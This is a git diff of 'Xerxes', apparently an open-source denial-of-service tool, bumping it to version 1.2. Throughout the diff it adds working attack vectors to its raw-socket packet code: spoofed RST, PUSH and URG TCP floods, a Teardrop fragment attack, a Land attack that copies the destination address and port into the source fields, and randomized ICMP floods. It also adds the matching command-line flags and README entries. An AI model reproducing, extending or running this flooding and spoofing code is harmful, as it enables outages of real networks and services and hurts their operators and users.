diff --git a/CMakeLists.txt b/CMakeLists.txt index 8ce304b..d3dbdc6 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -11,9 +11,9 @@ if( OPENSSL_FOUND ) set(OPENSSL_USE_STATIC_LIBS TRUE) message(STATUS "Using OpenSSL ${OPENSSL_VERSION}") endif() -SET(CMAKE_FIND_LIBRARY_SUFFIXES ".a") -SET(BUILD_SHARED_LIBRARIES OFF) -SET(CMAKE_EXE_LINKER_FLAGS "-static") +set(CMAKE_FIND_LIBRARY_SUFFIXES ".a") +set(BUILD_SHARED_LIBRARIES OFF) +set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive") add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) diff --git a/Dockerfile b/Dockerfile old mode 100644 new mode 100755 diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 1dba741..9f2f86f 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -8,7 +8,8 @@ struct config{ enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP, - SpoofedSyn, SpoofedAck, SpoofedFin, Rudy, Blacknurse, Beast}; + SpoofedSyn, SpoofedAck, SpoofedRST, SpoofedPUSH, SpoofedURG, SpoofedFin, Rudy, Blacknurse, + Beast, TearDrop, Land}; enum Protocol{TCP, UDP}; Protocol protocol{TCP}; Vector vector{NullTCP}; diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp index 2227b47..615f411 100755 --- a/Headers/Http_Flood.hpp +++ b/Headers/Http_Flood.hpp @@ -28,6 +28,7 @@ class Http_Flood : public Attack_Vector { void read_socket(SSL *ssl); int write_socket(int socket, const char* string, int length); int write_socket(SSL *ssl, const char* string, int length); + const SSL_METHOD *GetMethod(); }; diff --git a/Headers/ICMP_Flood.hpp b/Headers/ICMP_Flood.hpp index 94e597f..3f7fe46 100755 --- a/Headers/ICMP_Flood.hpp +++ b/Headers/ICMP_Flood.hpp @@ -9,7 +9,8 @@ class ICMP_Flood : public Spoofed_Flood { private: void attack(const int *id) override; - void override_options(icmphdr *icmp); + void init_headers(iphdr *ip, icmphdr *icmp, char *buf); + void override_headers(icmphdr *tcp, iphdr *ip); }; diff --git a/Headers/Spoofed_Flood.hpp b/Headers/Spoofed_Flood.hpp index c0ee422..bbcfc1c 100755 --- a/Headers/Spoofed_Flood.hpp +++ b/Headers/Spoofed_Flood.hpp @@ -15,7 +15,6 @@ class Spoofed_Flood : public Attack_Vector { friend class ICMP_Flood; friend class Spoofed_TCP_Flood; friend class Spoofed_UDP_Flood; - friend class Black_Nurse; public: Spoofed_Flood() = default; @@ -31,9 +30,6 @@ class Spoofed_Flood : public Attack_Vector { u_int16_t length; }; virtual int make_socket(int protocol); - virtual void init_headers(iphdr *ip, tcphdr *tcp, char *buf); - virtual void init_headers(iphdr *ip, udphdr *udp, char *buf); - virtual void init_headers(iphdr *ip, icmphdr *icmp, char *buf); }; diff --git a/Headers/Spoofed_TCP_Flood.hpp b/Headers/Spoofed_TCP_Flood.hpp index 00456c5..936631c 100755 --- a/Headers/Spoofed_TCP_Flood.hpp +++ b/Headers/Spoofed_TCP_Flood.hpp @@ -9,7 +9,8 @@ class Spoofed_TCP_Flood : public Spoofed_Flood { private: void attack(const int *id) override; - void override_options(tcphdr *tcp); + void init_headers(iphdr *ip, tcphdr *tcp, char *buf); + void override_headers(tcphdr *tcp, iphdr *ip); }; diff --git a/Headers/Spoofed_UDP_Flood.hpp b/Headers/Spoofed_UDP_Flood.hpp index 3b1bc29..35105e4 100755 --- a/Headers/Spoofed_UDP_Flood.hpp +++ b/Headers/Spoofed_UDP_Flood.hpp @@ -9,6 +9,8 @@ class Spoofed_UDP_Flood : public Spoofed_Flood { private: void attack(const int *id) override; + void init_headers(iphdr *ip, udphdr *udp, char *buf); + void override_headers(udphdr *udp, iphdr *ip); }; diff --git a/Headers/Version.hpp b/Headers/Version.hpp index 71de401..f8b6b1c 100755 --- a/Headers/Version.hpp +++ b/Headers/Version.hpp @@ -3,7 +3,7 @@ #define VERSION_MAJOR 1 -#define VERSION_MINOR 1 +#define VERSION_MINOR 2 #define BUILD_YEAR_CH0 (__DATE__[ 7]) diff --git a/README.md b/README.md index 745e377..c9ab353 100755 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ + + # Xerxes [![Build Status](https://travis-ci.org/sepehrdaddev/Xerxes.svg?branch=master)](https://travis-ci.org/sepehrdaddev/Xerxes) @@ -32,7 +34,12 @@ Options:\      -su     set attack vector to Spoofed UDP Flood\      -sy     set attack vector to Spoofed Syn Flood\      -sa     set attack vector to Spoofed Ack Flood\ +     -sr     set attack vector to Spoofed Rst Flood\ +     -sg     set attack vector to Spoofed Urg Flood\ +     -sp     set attack vector to Spoofed Push Flood\      -sf     set attack vector to Spoofed Fin Flood\ +     -td     set attack vector to Teardrop\ +     -ld     set attack vector to Land\      -ss     enable SSL\      -w      wait for response\      -rh     randomize HTTP Header\ diff --git a/Sources/Doser.cpp b/Sources/Doser.cpp index 343057c..754e35c 100755 --- a/Sources/Doser.cpp +++ b/Sources/Doser.cpp @@ -58,6 +58,18 @@ void Doser::run() { logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info); flood = new Spoofed_TCP_Flood{conf, logger}; break; + case config::SpoofedRST: + logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; + case config::SpoofedURG: + logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; + case config::SpoofedPUSH: + logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; case config::SpoofedFin: logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); flood = new Spoofed_TCP_Flood{conf, logger}; @@ -70,6 +82,14 @@ void Doser::run() { logger->Log("Attack Vector: Beast", Logger::Info); flood = new Beast{conf, logger}; break; + case config::TearDrop: + logger->Log("Attack Vector: Teardrop", Logger::Info); + flood = new Spoofed_UDP_Flood{conf, logger}; + break; + case config::Land: + logger->Log("Attack Vector: Land", Logger::Info); + flood = new Spoofed_TCP_Flood{conf, logger}; + break; default:break; } if(conf->UseSSL){ diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 41bf229..986a3ef 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -62,10 +62,9 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { } SSL_CTX *Http_Flood::InitCTX() { - const SSL_METHOD *method{TLSv1_1_client_method()}; + SSL_library_init(); + const SSL_METHOD *method{GetMethod()}; SSL_CTX *ctx; - OpenSSL_add_ssl_algorithms(); - SSL_load_error_strings(); ctx = SSL_CTX_new(method); if (ctx == nullptr){ logger->Log("Unable to connect using ssl", Logger::Error); @@ -190,3 +189,14 @@ void Http_Flood::attack_ssl(const int *id) { } } +const SSL_METHOD *Http_Flood::GetMethod() { + switch (conf->protocol){ + case config::TCP: + return TLSv1_2_client_method(); + case config::UDP: + return DTLSv1_2_client_method(); + default: + return nullptr; + } +} + diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 170f275..5a008cf 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -40,7 +40,7 @@ void ICMP_Flood::attack(const int *id) { } init_headers(ip, icmp, buf); - override_options(icmp); + override_headers(icmp, ip); dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; @@ -68,16 +68,38 @@ ICMP_Flood::ICMP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, } -void ICMP_Flood::override_options(icmphdr *icmp) { +void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ switch (conf->vector){ case config::ICMPFlood: - icmp->type = ICMP_ECHO; - icmp->code = static_cast(Randomizer::randomInt(1, 1000)); + icmp->type = static_cast(Randomizer::randomInt(1, 30)); + icmp->code = static_cast(Randomizer::randomInt(1, 15)); break; case config::Blacknurse: icmp->type = ICMP_DEST_UNREACH; - icmp->code = static_cast(3); + icmp->code = ICMP_PORT_UNREACH; break; default:break; } } + + +void ICMP_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) { + // IP Struct + ip->version = 4; + ip->ihl = 5; + ip->tos = 0; + ip->tot_len = htons(sizeof(buf)); + ip->id = static_cast(Randomizer::randomInt(1, 1000)); + ip->frag_off = htons(0x0); + ip->ttl = 255; + ip->protocol = IPPROTO_ICMP; + ip->check = 0; + + ip->check = csum((unsigned short *) buf, ip->tot_len); + + icmp->type = 0; + icmp->code = 0; + icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000)); + icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000)); + icmp->checksum = 0; +} diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index 5705a94..131a001 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -1,4 +1,4 @@ -#include + #include #include "../Headers/Null_Flood.hpp" @@ -9,7 +9,7 @@ void Null_Flood::attack(const int *id) { for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.push_back(0); } - int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM; + int socktype = conf->protocol; while(true) { static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -41,7 +41,7 @@ void Null_Flood::attack_ssl(const int *id) { std::vector sockets; std::vector CTXs; std::vector SSLs; - int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM; + int socktype = conf->protocol; for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.push_back(0); SSLs.push_back(nullptr); diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index bc9af40..80d3065 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -21,7 +21,12 @@ void Parser::help() { " -su set attack vector to Spoofed UDP Flood\n" " -sy set attack vector to Spoofed Syn Flood\n" " -sa set attack vector to Spoofed Ack Flood\n" + " -sr set attack vector to Spoofed Rst Flood\n" + " -sg set attack vector to Spoofed Urg Flood\n" + " -sp set attack vector to Spoofed Push Flood\n" " -sf set attack vector to Spoofed Fin Flood\n" + " -td set attack vector to Teardrop\n" + " -ld set attack vector to Land\n" " -ss enable SSL\n" " -w wait for response\n" " -rh randomize HTTP Header\n" @@ -86,6 +91,12 @@ void Parser::parse_commandline(int argc, const char *argv[]) { conf->vector = config::SpoofedSyn; }else if(!strcmp(argv[i], "-sa")){ conf->vector = config::SpoofedAck; + }else if(!strcmp(argv[i], "-sr")){ + conf->vector = config::SpoofedRST; + }else if(!strcmp(argv[i], "-sg")){ + conf->vector = config::SpoofedURG; + }else if(!strcmp(argv[i], "-sp")){ + conf->vector = config::SpoofedPUSH; }else if(!strcmp(argv[i], "-sf")){ conf->vector = config::SpoofedFin; }else if(!strcmp(argv[i], "-q")){ @@ -106,6 +117,10 @@ void Parser::parse_commandline(int argc, const char *argv[]) { conf->website = static_cast(argv[i+1]); }else if(!strcmp(argv[i], "-port")){ conf->port = static_cast(argv[i+1]); + }else if(!strcmp(argv[i], "-td")){ + conf->vector = config::TearDrop; + }else if(!strcmp(argv[i], "-ld")){ + conf->vector = config::Land; }else if(!strcmp(argv[i], "-T")){ if(Validator::isValidNumber(argv[i+1])){ conf->THREADS = static_cast(strtol(argv[i+1], nullptr, 10)); diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp index ed813a3..3e1853b 100755 --- a/Sources/Spoofed_Flood.cpp +++ b/Sources/Spoofed_Flood.cpp @@ -1,8 +1,6 @@ #include -#include #include "../Headers/Spoofed_Flood.hpp" -#include "../Headers/Randomizer.hpp" Spoofed_Flood::Spoofed_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){ @@ -31,77 +29,3 @@ int Spoofed_Flood::make_socket(int protocol) { } return sock; } - -void Spoofed_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { - auto s_port = Randomizer::randomPort(); - // IP Struct - ip->ihl = 5; - ip->version = 4; - ip->tos = 16; - ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf); - ip->id = static_cast(Randomizer::randomInt(1, 1000)); - ip->frag_off = htons(0x0); - ip->ttl = 255; - ip->protocol = IPPROTO_UDP; - ip->check = 0; - ip->check = csum((unsigned short *) buf, ip->tot_len); - - // UDP Struct - udp->source = htons(static_cast(s_port)); - udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - udp->len = htons(static_cast(sizeof(struct udphdr))); - udp->check = 0; -} - -void Spoofed_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { - auto s_port = Randomizer::randomPort(); - // IP Struct - ip->ihl = 5; - ip->version = 4; - ip->tos = 16; - ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf); - ip->id = static_cast(Randomizer::randomInt(1, 1000)); - ip->frag_off = htons(0x0); - ip->ttl = 255; - ip->protocol = IPPROTO_TCP; - ip->check = 0; - - ip->check = csum((unsigned short *) buf, ip->tot_len); - - // TCP Struct - tcp->source = htons(static_cast(s_port)); - tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - tcp->seq = 0; - tcp->ack_seq = 0; - tcp->doff = 5; //tcp header size - tcp->fin=0; - tcp->syn=0; - tcp->rst=0; - tcp->psh=0; - tcp->ack=0; - tcp->urg=0; - tcp->window = htons (5840); - tcp->check = 0; - tcp->urg_ptr = 0; -} - -void Spoofed_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) { - // IP Struct - ip->version = 4; - ip->ihl = 5; - ip->tos = 0; - ip->tot_len = htons(sizeof(buf)); - ip->id = static_cast(Randomizer::randomInt(1, 1000)); - ip->frag_off = htons(0x0); - ip->ttl = 255; - ip->protocol = IPPROTO_ICMP; - ip->check = 0; - - ip->check = csum((unsigned short *) buf, ip->tot_len); - - icmp->type = 0; - icmp->code = 0; - icmp->un.echo.sequence = static_cast(Randomizer::randomInt(1, 1000)); - icmp->un.echo.id = static_cast(Randomizer::randomInt(1, 1000)); - icmp->checksum = 0; -} diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 658802a..04a5cfd 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -41,14 +41,13 @@ void Spoofed_TCP_Flood::attack(const int *id) { } init_headers(ip, tcp, buf); - override_options(tcp); + override_headers(tcp, ip); dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; - - psh.source_address = inet_addr(conf->website.c_str()); - psh.dest_address = dst.sin_addr.s_addr; + psh.source_address = ip->saddr; + psh.dest_address = ip->daddr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.length = htons(sizeof(struct tcphdr) + strlen(buf)); @@ -83,17 +82,55 @@ Spoofed_TCP_Flood::Spoofed_TCP_Flood(const config *conf, Logger *logger) : Spoof } -void Spoofed_TCP_Flood::override_options(tcphdr *tcp){ +void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ switch (conf->vector){ case config::SpoofedSyn: - tcp->syn = 1; + tcp->th_flags = TH_SYN; break; case config::SpoofedAck: - tcp->ack = 1; + tcp->th_flags = TH_ACK; + break; + case config::SpoofedRST: + tcp->th_flags = TH_RST; + break; + case config::SpoofedPUSH: + tcp->th_flags = TH_PUSH; + break; + case config::SpoofedURG: + tcp->th_flags = TH_URG; break; case config::SpoofedFin: - tcp->fin = 1; + tcp->th_flags = TH_FIN; break; + case config::Land: + tcp->th_flags = TH_SYN; + ip->saddr = ip->daddr; + tcp->source = tcp->dest; default:break; } } + +void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { + auto s_port = Randomizer::randomPort(); + // IP Struct + ip->ihl = 5; + ip->version = 4; + ip->tos = 16; + ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf); + ip->id = static_cast(Randomizer::randomInt(1, 1000)); + ip->frag_off = htons(0x0); + ip->ttl = 255; + ip->protocol = IPPROTO_TCP; + ip->check = 0; + + ip->check = csum((unsigned short *) buf, ip->tot_len); + + // TCP Struct + tcp->source = htons(static_cast(s_port)); + tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + tcp->seq = 0; + tcp->doff = 5; //tcp header size + tcp->window = htons (5840); + tcp->check = 0; + tcp->th_flags = 0; +} diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 571be2c..5222eeb 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -41,13 +41,13 @@ void Spoofed_UDP_Flood::attack(const int *id) { } init_headers(ip, udp, buf); + override_headers(udp, ip); dst.sin_addr.s_addr = ip->daddr; dst.sin_family = AF_UNSPEC; - - psh.source_address = inet_addr(conf->website.c_str()); - psh.dest_address = dst.sin_addr.s_addr; + psh.source_address = ip->saddr; + psh.dest_address = ip->daddr; psh.placeholder = 0; psh.protocol = IPPROTO_UDP; psh.length = htons(sizeof(struct udphdr) + strlen(buf)); @@ -81,3 +81,33 @@ void Spoofed_UDP_Flood::attack(const int *id) { Spoofed_UDP_Flood::Spoofed_UDP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { } + +void Spoofed_UDP_Flood::override_headers(udphdr *udp, iphdr *ip) { + switch(conf->vector){ + case config::TearDrop: + ip->frag_off |= htons(0x2000); + break; + default:break; + } +} + +void Spoofed_UDP_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) { + auto s_port = Randomizer::randomPort(); + // IP Struct + ip->ihl = 5; + ip->version = 4; + ip->tos = 16; + ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf); + ip->id = static_cast(Randomizer::randomInt(1, 1000)); + ip->frag_off = htons(0x0); + ip->ttl = 255; + ip->protocol = IPPROTO_UDP; + ip->check = 0; + ip->check = csum((unsigned short *) buf, ip->tot_len); + + // UDP Struct + udp->source = htons(static_cast(s_port)); + udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + udp->len = htons(static_cast(sizeof(struct udphdr))); + udp->check = 0; +} diff --git a/XerxesTheGreat.jpg b/XerxesTheGreat.jpg new file mode 100755 index 0000000..254f1f6 Binary files /dev/null and b/XerxesTheGreat.jpg differ